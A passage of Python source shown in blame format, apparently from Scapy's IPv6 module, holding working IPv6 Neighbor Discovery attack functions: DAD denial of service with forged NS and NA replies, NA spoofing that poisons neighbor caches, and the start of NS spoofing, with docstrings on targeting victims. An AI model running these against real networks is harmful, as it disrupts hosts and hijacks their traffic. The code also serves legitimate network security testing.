3313af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3314af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3315af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3316af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3317af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3318af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3319af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3320af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3321af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3322af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3323af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface.
3324af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3325af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3326af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ns_reply_callback(req, reply_mac, iface):
3327af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3328af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS by sending a similar NS
3329af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3330af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3331af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3332af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3333af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        dst = req[IPv6].dst
3334af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3335af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt)
3336af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3337af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3338af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        print "Reply NS for target address %s (received from %s)" % (tgt, mac)
3339af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3340af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
3341af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter, reply_mac)
3342af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3343af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3344af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
3345af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                              reply_mac=None):
3346af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3347af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3348af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    3756. This is done by listening incoming NS messages *sent from the
3349af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    unspecified address* and sending a NA reply for the target address,
3350af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    leading the peer to believe that another node is also performing DAD
3351af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for that address.
3352af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3353af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NA sent to create the DoS uses:
3354af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3355af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the target address found in received NS.
3356af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the link-local solicited-node multicast
3357af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address derived from the target address in received NS.
3358af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3359af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the multicast mac address derived from the solicited node multicast
3360af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address used as IPv6 destination address.
3361af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
3362af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       with the mac address used as source of the NA.
3363af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3364af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3365af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3366af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3367af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          DoS should be launched. If None is provided conf.iface is used.
3368af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3369af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3370af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3371af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3372af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3373af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3374af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3375af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3376af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3377af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3378af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3379af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3380af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3381af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface. This
3382af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address will also be used in the Target Link-Layer Address option.
3383af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3384af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3385af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def na_reply_callback(req, reply_mac, iface):
3386af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3387af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS with a NA
3388af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3389af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3390af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3391af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3392af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        dst = req[IPv6].dst
3393af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3394af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst)
3395af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)
3396af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3397af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3398af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3399af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        print "Reply NA for target address %s (received from %s)" % (tgt, mac)
3400af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3401af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
3402af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter, reply_mac)
3403af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3404af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3405af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
3406af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           reply_mac=None, router=False):
3407af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3408af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The main purpose of this function is to send fake Neighbor Advertisement
3409af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    messages to a victim. As the emission of unsolicited Neighbor Advertisement
3410af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    is pretty pointless (from an attacker standpoint) because it will not
3411af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    lead to a modification of a victim's neighbor cache, the function send
3412af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    advertisements in response to received NS (NS sent as part of the DAD,
3413af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    i.e. with an unspecified address as source, are not considered).
3414af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3415af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NA sent to create the DoS uses:
3416af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3417af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the target address
3418af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the source IPv6 address of received NS
3419af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       message.
3420af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3421af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the source mac address of the received NS as destination macs address
3422af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       of the emitted NA.
3423af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
3424af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       filled with the mac address used as source of the NA.
3425af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3426af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3427af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3428af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3429af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          DoS should be launched. If None is provided conf.iface is used.
3430af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3431af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3432af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3433af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3434af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3435af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3436af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3437af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3438af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3439af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3440af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3441af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3442af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3443af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface. This
3444af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address will also be used in the Target Link-Layer Address option.
3445af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3446af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    router: by the default (False) the 'R' flag in the NA used for the reply
3447af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not set. If the parameter is set to True, the 'R' flag in the
3448af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         NA is set, advertising us as a router.
3449af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3450af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Please, keep the following in mind when using the function: for obvious
3451af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reasons (kernel space vs. Python speed), when the target of the address
3452af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    resolution is on the link, the sender of the NS receives 2 NA messages
3453af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    in a row, the valid one and our fake one. The second one will overwrite
3454af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    the information provided by the first one, i.e. the natural latency of
3455af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Scapy helps here.
3456af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3457af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    In practice, on a common Ethernet link, the emission of the NA from the
3458af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    genuine target (kernel stack) usually occurs in the same millisecond as
3459af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    the receipt of the NS. The NA generated by Scapy6 will usually come after
3460af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    something 20+ ms. On a usual testbed for instance, this difference is
3461af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sufficient to have the first data packet sent from the victim to the
3462af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    destination before it even receives our fake NA.
3463af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3464af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3465af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, tgt_filter):
3466af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3467af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3468af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3469af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3470af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Those simple checks are based on Section 5.4.2 of RFC 4862
3471af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3472af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3473af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3474af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3475af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3476af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3477af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3478af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Source must NOT be the unspecified address
3479af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if req[IPv6].src == "::":
3480af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3481af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3482af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3483af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_filter and tgt != tgt_filter:
3484af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3485af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3486af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        dst = req[IPv6].dst
3487af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
3488af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3489af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # If this is a real address resolution NS, then the destination
3490af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # address of the packet is the link-local solicited node multicast
3491af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # address associated with the target of the NS.
3492af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # Otherwise, the NS is a NUD related one, i.e. the peer is
3493af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # unicasting the NS to check the target is still alive (L2
3494af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # information is still in its cache and it is verified)
3495af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            received_snma = socket.inet_pton(socket.AF_INET6, dst)
3496af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            expected_snma = in6_getnsma(tgt)
3497af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            if received_snma != expected_snma:
3498af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                print "solicited node multicast @ does not match target @!"
3499af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                return 0
3500af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3501af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3502af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3503af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def reply_callback(req, reply_mac, router, iface):
3504af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3505af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS with a spoofed NA
3506af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3507af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3508af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
3509af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # send it back.
3510af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3511af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        pkt = req[IPv6]
3512af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src = pkt.src
3513af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3514af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src)
3515af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS
3516af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3517af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # "If the solicitation IP Destination Address is not a multicast
3518af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # address, the Target Link-Layer Address option MAY be omitted"
3519af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Given our purpose, we always include it.
3520af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3521af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3522af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3523af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3524af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        print "Reply NA for target address %s (received from %s)" % (tgt, mac)
3525af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3526af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3527af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3528af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3529af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3530af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3531af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3532af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3533af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    router = (router and 1) or 0 # Value of the R flags in NA
3534af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3535af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3536af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3537af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3538af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: reply_callback(x, reply_mac, router, iface),
3539af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3540af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3541af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3542af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
3543af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           dst=None, src_mac=None, dst_mac=None, loop=True,
3544af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           inter=1, iface=None):
3545af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3546af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The main purpose of this function is to send fake Neighbor Solicitations
3547af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    messages to a victim, in order to either create a new entry in its neighbor
3548af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
3549af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    that a node SHOULD create the entry or update an existing one (if it is not
3550af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    currently performing DAD for the target of the NS). The entry's reachability
3551af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    state is set to STALE.
3552af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3553af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The two main parameters of the function are the source link-layer address
3554af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    (carried by the Source Link-Layer Address option in the NS) and the
3555af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    source address of the packet.
3556af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3557af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Unlike some other NDP_Attack_* function, this one is not based on a
3558af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    stimulus/response model. When called, it sends the same NS packet in loop
3559af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    every second (the default)
3560af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3561af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the format of the packets:
3562af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3563af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src_lladdr: the MAC address used in the Source Link-Layer Address option
3564af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         included in the NS packet. This is the address that the peer should
3565af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associate in its neighbor cache with the IPv6 source address of the
3566af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         packet. If None is provided, the mac address of the interface is
3567af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         used.
3568af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3569af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src: the IPv6 address used as source of the packet. If None is provided,
3570af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         an address associated with the emitting interface will be used
3571af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         (based on the destination address of the packet).
3572af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3573af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    target: the target address of the NS packet. If no value is provided,
3574af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         a dummy address (2001:db8::1) is used. The value of the target
3575af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         has a direct impact on the destination address of the packet if it
3576af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not overridden. By default, the solicited-node multicast address
3577af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associated with the target is used as destination address of the
3578af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         packet. Consider specifying a specific destination address if you
3579af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         intend to use a target address different than the one of the victim.
3580af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3581af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    dst: The destination address of the NS. By default, the solicited node
3582af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         multicast address associated with the target address (see previous
3583af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         parameter) is used if no specific value is provided. The victim
3584af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not expected to check the destination address of the packet,
3585af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         so using a multicast address like ff02::1 should work if you want
3586af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the attack to target all hosts on the link. On the contrary, if
3587af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you want to be more stealth, you should provide the target address
